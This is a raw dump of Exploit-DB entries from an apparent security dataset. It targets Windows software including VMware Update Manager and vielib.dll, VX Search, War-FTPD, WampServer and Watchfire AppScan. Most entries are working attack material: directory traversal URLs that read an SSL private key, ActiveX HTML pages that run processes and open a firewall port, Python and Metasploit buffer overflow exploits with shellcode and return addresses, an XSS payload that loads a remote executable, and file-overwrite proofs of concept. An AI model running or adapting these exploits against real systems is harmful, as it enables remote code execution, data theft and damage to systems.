deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18138
Description: VMware - Update Manager Directory Traversal
Type: remote
Platform: windows
Date: 2011-11-21
Author: Alexey Sintsov

Exploit:
# Exploit Title:VMware Update Manager Directory Traversal
# Date:18/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.vmware.com/
# Version:2.0.2
# Tested on: Windows 2003 / vCenter Update Manager 4.1 U1
# CVE : CVE-2011-4404

DSECRG-11-042 VMware Update Manager - Directory Traversal


Application: VMware Update Manager
Versions Affected: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4.0 prior to Update 4
Vendor URL: http://vmware.com
Bugs: Directory Traversal File Read
CVE: CVE-2011-4404
CVSS2: 7.8
Exploits: YES
Reported: 06.06.2010
Vendor response: 06.06.2010
Date of Public Advisory: 18.11.2011
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)

Description
********
Directory Traversal vulnerability was found in Jetty web server that is used by VMware Update manager.

Details
*******
Directory Traversal vulnerability was found in Jetty web server that is used by VUM.
With this vulnerability, an non-authenticated attacker can read any file on the server (with rights of the process).

Sample
******
http://<target>:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key


References
**********

http://dsecrg.com/pages/vul/show.php?id=342
http://www.vmware.com/security/advisories/VMSA-2011-0014.html


Fix Information
*************

Vendor make fix for this issue:
Fixed in Update Manager 5.0 Windows not affected
Fixed in Update Manager 4.1 Windows Update 2
Fixed in Update Manager 4.0 Windows Update 4

About DSecRG
*******
The main mission of DSecRG is to conduct researches of business critical systems such as ERP, CRM, SRM, BI, SCADA, banking software and others. The result of this work is then integrates in ERPScan Security Scanner. Being on the top edge of ERP and SAP security DSecRG research helps to improve a quality of ERPScan consulting services and protects you from the latest threads. 
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com 

About ERPScan
*******
ERPScan is an innovative company engaged in the research of ERP security and develops products for ERP system security assessment. Apart from this the company renders consulting services for secure configuration, development and implementation of ERP systems, and conducts comprehensive assessments and penetration testing of custom solutions.
Our flagship products are "ERPScan Security Scanner for SAP" and service "ERPScan Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: info [at] erpscan [dot] com
http://www.erpscan.com
Exploit-DB #4244
Description: VMware Inc 6.0.0 - 'vielib.dll 2.2.5.42958' Remode Code Execution
Type: remote
Platform: windows
Date: 2007-07-29
Author: callAX

Exploit:
:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

vielib.dll 2.2.5.42958 VmWare Inc version 6.0.0 Remode Code Execution Exploit
=============================================================================

Internal ID: VULWAR200707290.
-----------

Introduction
------------
vielib.dll is a library included in the Program Vmware Version 6.0.0 from Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The StartProcess method doesn't check if it's being called from the application,
or malicious users. Remote Attacker could craft a html page and execute code in
a remote system with the actual user privileges.


Impact
------
Any computer that uses this Sofware will be exposed to Remote Execution Code.


Workaround
----------
- Activate the Kill bit zero in clsid:7B9C5422-39AA-4C21-BEEF-645E42EB4529
- Unregister vielib.dll using regsvr32.


Timeline
--------
July 29 2007 -- Bug Discovery.
July 29 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>
 

Technical Details
-----------------

StartProcess method needs three files (stdin, stdout, stderr) to success StartProcess. The exploit
is using three standard files that exists in every Microsoft Office 2003 Application.


<HTML>
<BODY>
  <object id=ctrl classid="clsid:{7B9C5422-39AA-4C21-BEEF-645E42EB4529}"></object>
<SCRIPT>

function Poc() {
 arg1 = "C:\\windows\\system32\\netsh.exe"
 arg2 = "C:\\windows\\system32\\netsh.exe firewall add portopening tcp 4444 GotIT"
 arg3 = "C:\\windows\\system32\\"
 arg4 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseneu.txt"
 arg5 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseeng.txt"
 arg6 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseenu.txt"
 arg7 = "1"
 ctrl.StartProcess(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7)
 }

</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-29]
Exploit-DB #4245
Description: VMware Inc 6.0.0 - CreateProcess Remote Code Execution
Type: remote
Platform: windows
Date: 2007-07-30
Author: callAX

Exploit:
:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

VmWare Inc version 6.0.0 CreateProcess & CreateProcessEx Remode Code Execution Exploit
======================================================================================

Internal ID: VULWAR200707300.
-----------

Introduction
------------
vielib.dll is a library included in the Program Vmware Version 6.0.0 from Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The CreateProcess & CreateProcessEx method doesn't check if they're being called
from the application, or malicious users. Remote Attacker could craft a html page
and execute code in a remote system with the actual user privileges.


Impact
------
Any computer that uses this Sofware will be exposed to Remote Execution Code.


Workaround
----------
- Activate the Kill bit zero in clsid:0F748FDE-0597-443C-8596-71854C5EA20A
- Unregister vielib.dll using regsvr32.


Timeline
--------
July 30 2007 -- Bug Discovery.
July 30 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>
 

Technical Details
-----------------


<HTML>
<BODY>
  <object id=_[PII_REDACTED] classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"></object>
<SCRIPT>

function _d0_() {
 
 ba="c:\\windows\\system32\\calc.exe"
 ad="c:\\windows\\system32\\calc.exe"
 fO="c:\\windows\\system32\\"
 Od=1

_[PII_REDACTED].CreateProcess(ba, ad, fO, Od)
 }

</SCRIPT>
<input language=JavaScript onclick=_d0_() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-30]
Exploit-DB #19815
Description: vqsoft vqserver for windows 1.9.9 - Directory Traversal
Type: remote
Platform: windows
Date: 2000-03-21
Author: Johan Nilsson

Exploit:
source: https://www.securityfocus.com/bid/1067/info

Some versions of vqSoft vqServer for Windows are vulnerable to the common ../../ method of retrieving known files from outside of the web directory structure, accomplished by appending a variable number of "../" and a known filename to an HTTP GET request. 

http://target/../../../../../autoexec.bat
Exploit-DB #43209
Description: VX Search 10.2.14 - 'command_name' Buffer Overflow
Type: remote
Platform: windows
Date: 2017-12-05
Author: W01fier00t

Exploit:
#!/usr/bin/python


print "*** VX Search Enterprise v10.2.14 Buffer Overflow (SEH) ***\n"

# Exploit Title     : VX Search Enterprise v10.2.14 Buffer Overflow (SEH)
# Discovery by      : W01fier00t
# Twitter           : @wolfieroot
# Discovery Date    : 22/11/2017
# Software Link     : http://www.vxsearch.com/setups/vxsearchent_setup_v10.2.14.exe
# Tested Version    : 10.2.14
# Tested on OS      : Windows 7 Home Edition sp1
# You will need to enable web server for this to work.
# You will also need the Login to VX Search wepage, for this to work.

import urllib
import urllib2
import socket

#Bad chars \x00\x0a\x0d
#Payload size: 351 bytes
shellcode = (
"\xdd\xc6\xb8\x4a\xec\xd2\xea\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x52\x83\xc5\x04\x31\x45\x13\x03\x0f\xff\x30\x1f\x73\x17\x36"
"\xe0\x8b\xe8\x57\x68\x6e\xd9\x57\x0e\xfb\x4a\x68\x44\xa9\x66"
"\x03\x08\x59\xfc\x61\x85\x6e\xb5\xcc\xf3\x41\x46\x7c\xc7\xc0"
"\xc4\x7f\x14\x22\xf4\x4f\x69\x23\x31\xad\x80\x71\xea\xb9\x37"
"\x65\x9f\xf4\x8b\x0e\xd3\x19\x8c\xf3\xa4\x18\xbd\xa2\xbf\x42"
"\x1d\x45\x13\xff\x14\x5d\x70\x3a\xee\xd6\x42\xb0\xf1\x3e\x9b"
"\x39\x5d\x7f\x13\xc8\x9f\xb8\x94\x33\xea\xb0\xe6\xce\xed\x07"
"\x94\x14\x7b\x93\x3e\xde\xdb\x7f\xbe\x33\xbd\xf4\xcc\xf8\xc9"
"\x52\xd1\xff\x1e\xe9\xed\x74\xa1\x3d\x64\xce\x86\x99\x2c\x94"
"\xa7\xb8\x88\x7b\xd7\xda\x72\x23\x7d\x91\x9f\x30\x0c\xf8\xf7"
"\xf5\x3d\x02\x08\x92\x36\x71\x3a\x3d\xed\x1d\x76\xb6\x2b\xda"
"\x79\xed\x8c\x74\x84\x0e\xed\x5d\x43\x5a\xbd\xf5\x62\xe3\x56"
"\x05\x8a\x36\xf8\x55\x24\xe9\xb9\x05\x84\x59\x52\x4f\x0b\x85"
"\x42\x70\xc1\xae\xe9\x8b\x82\x10\x45\x93\x4a\xf9\x94\x93\x74"
"\x98\x11\x75\xe2\x4a\x74\x2e\x9b\xf3\xdd\xa4\x3a\xfb\xcb\xc1"
"\x7d\x77\xf8\x36\x33\x70\x75\x24\xa4\x70\xc0\x16\x63\x8e\xfe"
"\x3e\xef\x1d\x65\xbe\x66\x3e\x32\xe9\x2f\xf0\x4b\x7f\xc2\xab"
"\xe5\x9d\x1f\x2d\xcd\x25\xc4\x8e\xd0\xa4\x89\xab\xf6\xb6\x57"
"\x33\xb3\xe2\x07\x62\x6d\x5c\xee\xdc\xdf\x36\xb8\xb3\x89\xde"
"\x3d\xf8\x09\x98\x41\xd5\xff\x44\xf3\x80\xb9\x7b\x3c\x45\x4e"
"\x04\x20\xf5\xb1\xdf\xe0\x05\xf8\x7d\x40\x8e\xa5\x14\xd0\xd3"
"\x55\xc3\x17\xea\xd5\xe1\xe7\x09\xc5\x80\xe2\x56\x41\x79\x9f"
"\xc7\x24\x7d\x0c\xe7\x6c")

#0x1001a136 : pop edi # pop esi # ret 0x04 |  {PAGE_EXECUTE_READ} [libspp.dll]
cmdname = "\x90" *16
cmdname += shellcode
cmdname += "A" * 157
cmdname += "\xEB\x06"
cmdname += "B" *2
cmdname += "\x36\xa1\x01\x10"

print " [*] Sending payload!..."
url = 'http://127.0.0.1/add_command?sid=f3fdf2603e9ac8f518db9452fee62110'
values = {'command_name' : cmdname}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)

try:
	response = urllib2.urlopen(req, timeout = 1)
except socket.timeout:
	pass

print " [*] DONE! :D\n"
Exploit-DB #42057
Description: VX Search Enterprise 9.5.12 - GET Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-05-23
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VX Search Enterprise GET Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in the web interface of VX Search Enterprise v9.5.12, caused by
        improper bounds checking of the request path in HTTP GET requests
        sent to the built-in web server. This module has been tested
        successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Teixeira'
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x09\x0a\x0d\x20\x26",
          'Space'      => 500
        },
      'Targets'        =>
        [
          [ 'VX Search Enterprise v9.5.12',
            {
              'Offset' => 2488,
              'Ret'    => 0x10015ffe  # POP # POP # RET [libspp.dll]
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/'
    )

    if res && res.code == 200
      version = res.body[/VX Search Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.12/
          return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Detected
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit

    eggoptions = {
      checksum: true,
      eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      eggoptions
    )

    sploit =  rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
      'method' => 'GET',
      'uri'    => sploit
    )
  end
end
Exploit-DB #24653
Description: VyPRESS Messenger 3.5 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-10-01
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11310/info

VyPRESS Messenger is affected by a remote buffer overflow vulnerability. This issue is due to a failure of the application to verify the length of user-supplied strings prior to copying them into finite process buffers.

An attacker may leverage this issue to remotely execute arbitrary machine code on an affected computer with the privileges of the user running the affected application. It is possible to exploit all hosts on a local area network by sending a message to a broadcast address.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24653.zip
Exploit-DB #33662
Description: WampServer 2.0i - 'lang' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2010-02-22
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/38357/info

WampServer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WampServer 2.0i is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?lang=%3Cscript%3Ealert%28%22ZSL%20Testingz%22%29%3C/script%3E
http://www.example.com/index.php?lang=%3Ciframe%20height=%220%22%20width=%220%22%20frameborder=%220%22%20src=%22http://[evil .exe link]%22%3E%3C/iframe%3E
Exploit-DB #16724
Description: War-FTPD 1.65 - 'Username' Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: warftpd_165_user.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'War-FTPD 1.65 Username Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow found in the USER command
				of War-FTPD 1.65.
			},
			'Author'         => 'Fairuzan Roslan <riaf [at] mysec.org>',
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '1999-0256'],
					[ 'OSVDB', '875'    ],
					[ 'BID', '10078'	],
					[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Payload'        =>
				{
					'Space'    => 424,
					'BadChars' => "\x00\x0a\x0d\x40",
					'StackAdjustment' => -3500,
					'Compat'   =>
						{
							'ConnectionType' => "-find"
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Target 0
					[
						'Windows 2000 SP0-SP4 English',
						{
							'Ret'      => 0x750231e2 # ws2help.dll
						},
					],
					# Target 1
					[
						'Windows XP SP0-SP1 English',
						{
							'Ret'      => 0x71ab1d54 # push esp, ret
						}
					],
					# Target 2
					[
						'Windows XP SP2 English',
						{
							'Ret'      => 0x71ab9372 # push esp, ret
						}
					],
					# Target 3
					[
						'Windows XP SP3 English',
						{
							'Ret'      => 0x71ab2b53 # push esp, ret
						}
					]
				],
			'DisclosureDate' => 'Mar 19 1998'))
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		buf          = make_nops(600) + payload.encoded
		buf[485, 4]  = [ target.ret ].pack('V')

		send_cmd( ['USER', buf] , false )

		handler
		disconnect
	end

end
Exploit-DB #16706
Description: War-FTPD 1.65 - Password Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: warftpd_165_pass.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'War-FTPD 1.65 Password Overflow',
			'Description'    => %q{
					This exploits the buffer overflow found in the PASS command
				in War-FTPD 1.65. This particular module will only work
				reliably against Windows 2000 targets. The server must be
				configured to allow anonymous logins for this exploit to
				succeed. A failed attempt will bring down the service
				completely.
			},
			'Author'         => 'hdm',
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '1999-0256'],
					[ 'OSVDB', '875'    ],
					[ 'BID', '10078'	],
					[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Payload'        =>
				{
					'Space'    => 424,
					'BadChars' => "\x00\x0a\x0d\x40",
					'StackAdjustment' => -3500,
					'Compat'   =>
						{
							'ConnectionType' => "-find"
						}
				},
			'Targets'        =>
				[
					# Target 0
					[
						'Windows 2000',
						{
							'Platform' => 'win',
							'Ret'      => 0x5f4e772b # jmp ebx in the included MFC42.DLL
						},
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 19 1998'))
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		buf          = make_nops(566) + payload.encoded
		buf[558, 2]  = "\xeb\x06"
		buf[562, 4]  = [ target.ret ].pack('V')

		# Send USER Command
		send_user(datastore['FTPUSER'])

		# Send PASS Command
		send_cmd(['PASS', buf], false)

		handler
		disconnect
	end

end
Exploit-DB #5496
Description: Watchfire Appscan 7.0 - ActiveX Multiple Insecure Methods
Type: remote
Platform: windows
Date: 2008-04-25
Author: callAX

Exploit:
****************************************************************************************************************
Multiple Insecure Methods in AppScan Watchfire Web Application Security v 7.0
Remote: Yes
An arbitrary file overwrite has been discovered in an ActiveX control installed with the WatchFire Appscan v 7.0.
by callAX -> Fr33d0m & Kn0wl3dg3 1s th3 r341 P0w3r
****************************************************************************************************************
 

<HTML>
 <object id=ctrl classid="clsid:{E302E486-D748-475C-84F3-4F7ED6F78EC5}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\autoexec_.bat"
   ctrl.CompactSave(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
 
<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AA9730F1-70F6-43DC-94FC[PII_REDACTED]04}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\boot_.ini"
   ctrl.saveRecordedExploreToFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>
 

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{E302E486-D748-475C-84F3-4F7ED6F78EC5}"></object>
<SCRIPT>
function Do_it()
 {
   File = "c:\\ntldr_"
   ctrl.SaveSession(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

# milw0rm.com [2008-04-25]